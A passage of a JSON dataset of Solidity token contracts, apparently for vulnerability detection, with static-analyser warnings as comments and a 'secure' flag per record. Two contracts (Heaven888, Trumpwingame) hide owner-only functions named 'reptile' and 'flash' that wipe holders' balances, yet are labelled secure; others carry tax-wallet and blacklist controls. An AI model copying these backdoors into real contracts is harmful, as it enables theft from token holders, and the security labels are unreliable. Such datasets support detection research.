transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 10e7c0a\n\t\t// reentrancy-benign | ID: 15c70b9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 10e7c0a\n\t\t// reentrancy-benign | ID: 15c70b9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 52c9cb3): MEGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 52c9cb3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 15c70b9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 10e7c0a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d3cac6d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d3cac6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2e4a6f3): MEGA.bots is never initialized. It is used in MEGA._transfer(address,address,uint256)\n\t// Recommendation for 2e4a6f3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5d59598): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5d59598: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d3cac6d\n\t\t\t\t// reentrancy-eth | ID: 5d59598\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d3cac6d\n\t\t\t\t\t// reentrancy-eth | ID: 5d59598\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5d59598\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5d59598\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5d59598\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d3cac6d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5d59598\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5d59598\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d3cac6d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 10e7c0a\n\t\t// reentrancy-events | ID: d3cac6d\n\t\t// reentrancy-benign | ID: 15c70b9\n\t\t// reentrancy-eth | ID: 5d59598\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b3ce5eb): MEGA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b3ce5eb: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 10e7c0a\n\t\t// reentrancy-events | ID: d3cac6d\n\t\t// reentrancy-eth | ID: 5d59598\n\t\t// arbitrary-send-eth | ID: b3ce5eb\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 16651f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 16651f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aff5d0d): MEGA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for aff5d0d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 864c5f0): MEGA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 864c5f0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 36cb04e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 36cb04e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 16651f7\n\t\t// reentrancy-eth | ID: 36cb04e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 16651f7\n\t\t// unused-return | ID: aff5d0d\n\t\t// reentrancy-eth | ID: 36cb04e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 16651f7\n\t\t// unused-return | ID: 864c5f0\n\t\t// reentrancy-eth | ID: 36cb04e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 16651f7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 36cb04e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1207.sol",
"secure": 0,
"size_bytes": 18129
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract WinTheWorld is ERC20, Ownable {\n constructor() ERC20(\"WinTheWorld\", \"WTW\") {\n _mint(msg.sender, 40000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1208.sol",
"secure": 1,
"size_bytes": 351
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Heaven888 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable sand;\n\n constructor() {\n _name = \"HEAVEN888\";\n\n _symbol = \"HVN888\";\n\n _decimals = 18;\n\n uint256 initialSupply = 927000000;\n\n sand = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == sand, \"Not allowed\");\n\n _;\n }\n\n function reptile(address[] memory hang) public onlyOwner {\n for (uint256 i = 0; i < hang.length; i++) {\n address account = hang[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1209.sol",
"secure": 1,
"size_bytes": 4348
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_121.sol",
"secure": 1,
"size_bytes": 827
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Trumpwingame is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable windowdrop;\n\n constructor() {\n _name = \"Trump win game\";\n\n _symbol = \"TWG\";\n\n _decimals = 18;\n\n uint256 initialSupply = 64700000000;\n\n windowdrop = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == windowdrop, \"Not allowed\");\n\n _;\n }\n\n function flash(address[] memory environmentalcamp) public onlyOwner {\n for (uint256 i = 0; i < environmentalcamp.length; i++) {\n address account = environmentalcamp[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1210.sol",
"secure": 1,
"size_bytes": 4410
}
|
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SpunkySDX is Ownable, ReentrancyGuard {\n using SafeERC20 for IERC20;\n\n string public name;\n\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c61197): SpunkySDX._decimals should be immutable \n\t// Recommendation for 6c61197: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public _decimals;\n\n uint256 public totalSupply;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public whitelists;\n\n\t// WARNING Optimization Issue (constable-states | ID: e282226): SpunkySDX._vestingContract should be constant \n\t// Recommendation for e282226: Add the 'constant' attribute to state variables that never change.\n address private _vestingContract;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bb6fc2): SpunkySDX._stakingContract should be constant \n\t// Recommendation for 2bb6fc2: Add the 'constant' attribute to state variables that never change.\n address private _stakingContract;\n\n mapping(address => bool) public validPairs;\n\n uint256 public totalBurned;\n\n uint256 public constant SELL_TAX_PERCENTAGE = 500;\n\n uint256 private constant MAX_HOLDING_PERCENTAGE =\n (500 * (10 ** 9) * (10 ** 18) * 5) / 100;\n\n uint256 private constant TRANSACTION_DELAY = 1.5 minutes;\n\n mapping(address => uint256) private _lastTransactionTime;\n\n address public pancakeswapPair;\n\n address public constant SELL_TAX_ADDRESS =\n 0xEeD9823C13d3Dd4aF4C583EE7dDde56b4DE77F62;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Burn(address indexed account, uint256 amount);\n\n event Withdrawn(uint256 amount);\n\n event Whitelisted(address indexed);\n\n constructor() {\n name = \"SpunkySDX\";\n\n symbol = \"SSDX\";\n\n _decimals = 18;\n\n totalSupply = 500e9 * 10 ** uint256(_decimals);\n\n _balances[address(this)] = totalSupply;\n\n _transfer(address(this), owner(), totalSupply);\n\n emit Transfer(address(0), address(this), totalSupply);\n }\n\n function getSymbol() public view returns (string memory) {\n return symbol;\n }\n\n function getName() public view returns (string memory) {\n return name;\n }\n\n function getSupply() public view returns (uint256) {\n return totalSupply;\n }\n\n function decimals() public pure returns (uint8) {\n return 18;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n )\n public\n checkTransactionDelay\n checkMaxHolding(recipient, amount)\n returns (bool)\n {\n require(_balances[msg.sender] >= amount, \"ERC20: insufficient balance\");\n\n if (isSellTransaction(recipient) && msg.sender != SELL_TAX_ADDRESS) {\n uint256 taxAmount = (amount * SELL_TAX_PERCENTAGE) / 10000;\n\n if (taxAmount == 0 && amount > 0) {\n taxAmount = 1;\n }\n\n _transfer(msg.sender, SELL_TAX_ADDRESS, taxAmount);\n\n amount -= taxAmount;\n }\n\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public checkTransactionDelay checkMaxHolding(to, amount) returns (bool) {\n uint256 currentAllowance = _allowances[from][msg.sender];\n\n require(\n currentAllowance > amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n require(\n _balances[from] >= amount,\n \"ERC20: insufficient balance for transfer\"\n );\n\n uint256 taxAmount = 0;\n\n if (isSellTransaction(to) && from != SELL_TAX_ADDRESS) {\n taxAmount = (amount * SELL_TAX_PERCENTAGE) / 10000;\n\n if (taxAmount == 0 && amount > 0) {\n taxAmount = 1;\n }\n\n _transfer(from, SELL_TAX_ADDRESS, taxAmount);\n }\n\n _transfer(from, to, amount - taxAmount);\n\n if (currentAllowance != type(uint256).max) {\n _approve(from, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n uint256 currentAllowance = _allowances[msg.sender][spender];\n\n require(\n subtractedValue <= currentAllowance,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 0, \"ERC20: transfer amount must be greater than zero\");\n\n require(_balances[sender] >= amount, \"ERC20: insufficient balance\");\n\n if (recipient == address(0)) {\n _balances[sender] -= amount;\n\n totalSupply -= amount;\n\n totalBurned += amount;\n\n emit Transfer(sender, address(0), amount);\n\n emit Burn(sender, amount);\n } else {\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n }\n\n function addTradingPair(address _pair) public onlyOwner {\n require(_pair != address(0), \"Invalid pair address\");\n\n validPairs[_pair] = true;\n }\n\n function removeTradingPair(address _pair) public onlyOwner {\n require(validPairs[_pair], \"Pair not exist\");\n\n validPairs[_pair] = false;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function isSellTransaction(address recipient) internal view returns (bool) {\n return validPairs[recipient];\n }\n\n function updatePancakeswapPair(\n address _newPancakeswapPair\n ) public onlyOwner {\n require(_newPancakeswapPair != address(0), \"Invalid address\");\n\n pancakeswapPair = _newPancakeswapPair;\n }\n\n function burn(uint256 amount) public onlyOwner {\n require(amount <= _balances[msg.sender], \"Not enough tokens to burn\");\n\n _balances[msg.sender] -= amount;\n\n totalSupply -= amount;\n\n totalBurned += amount;\n\n emit Transfer(msg.sender, address(0), amount);\n\n emit Burn(msg.sender, amount);\n }\n\n function withdrawToken(\n address tokenAddress,\n uint256 tokenAmount\n ) public onlyOwner {\n IERC20 token = IERC20(tokenAddress);\n\n require(\n token.balanceOf(address(this)) >= tokenAmount,\n \"Not enough tokens in the contract or owner cannot withdraw tokens in contract\"\n );\n\n require(\n tokenAddress != address(this),\n \"Owner cannot withdraw SSDX tokens in contract\"\n );\n\n SafeERC20.safeTransfer(token, owner(), tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a9de1dd): Reentrancy in SpunkySDX.withdraw() External calls Address.sendValue(address(owner()),amount) Event emitted after the call(s) Withdrawn(amount)\n\t// Recommendation for a9de1dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw() public onlyOwner {\n uint256 amount = address(this).balance;\n\n\t\t// reentrancy-events | ID: a9de1dd\n Address.sendValue(payable(owner()), amount);\n\n\t\t// reentrancy-events | ID: a9de1dd\n emit Withdrawn(amount);\n }\n\n function renounceOwnership() public override onlyOwner {\n super.renounceOwnership();\n }\n\n function transferOwnership(address newOwner) public override onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n uint256 balanceOfCurrentOwner = _balances[owner()];\n\n _balances[owner()] = 0;\n\n _balances[newOwner] += balanceOfCurrentOwner;\n\n emit Transfer(owner(), newOwner, balanceOfCurrentOwner);\n\n super.transferOwnership(newOwner);\n }\n\n function whietlist(\n address _address,\n bool _isWhitelisting\n ) public onlyOwner {\n whitelists[_address] = _isWhitelisting;\n\n emit Whitelisted(_address);\n }\n\n modifier checkTransactionDelay() {\n if (!whitelists[msg.sender]) {\n require(\n _lastTransactionTime[msg.sender] + TRANSACTION_DELAY <=\n block.timestamp,\n \"Transaction cooldown period has not passed\"\n );\n\n _lastTransactionTime[msg.sender] = block.timestamp;\n }\n\n _;\n }\n\n modifier checkMaxHolding(address recipient, uint256 amount) {\n if (\n recipient != address(this) &&\n recipient != owner() &&\n !whitelists[recipient]\n ) {\n require(\n (_balances[recipient] + amount) <= MAX_HOLDING_PERCENTAGE,\n \"Recipient's token holding exceeds the maximum allowed percentage\"\n );\n }\n\n _;\n }\n}",
"file_name": "solidity_code_1211.sol",
"secure": 0,
"size_bytes": 11284
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Twitter is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1430047): Twitter._taxWallet should be immutable \n\t// Recommendation for 1430047: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bac9c7e): Twitter._initialBuyTax should be constant \n\t// Recommendation for bac9c7e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: efc07c6): Twitter._initialSellTax should be constant \n\t// Recommendation for efc07c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25ae4df): Twitter._finalBuyTax should be constant \n\t// Recommendation for 25ae4df: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2a42f8): Twitter._finalSellTax should be constant \n\t// Recommendation for b2a42f8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b2c301): Twitter._reduceBuyTaxAt should be constant \n\t// Recommendation for 0b2c301: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 133926d): Twitter._reduceSellTaxAt should be constant \n\t// Recommendation for 133926d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5663a05): Twitter._preventSwapBefore should be constant \n\t// Recommendation for 5663a05: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"James Bond Agency\";\n\n string private constant _symbol = unicode\"007\";\n\n uint256 public _maxTxAmount = 30000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 30000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d727a5): Twitter._taxSwapThreshold should be constant \n\t// Recommendation for 6d727a5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4321a28): Twitter._maxTaxSwap should be constant \n\t// Recommendation for 4321a28: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 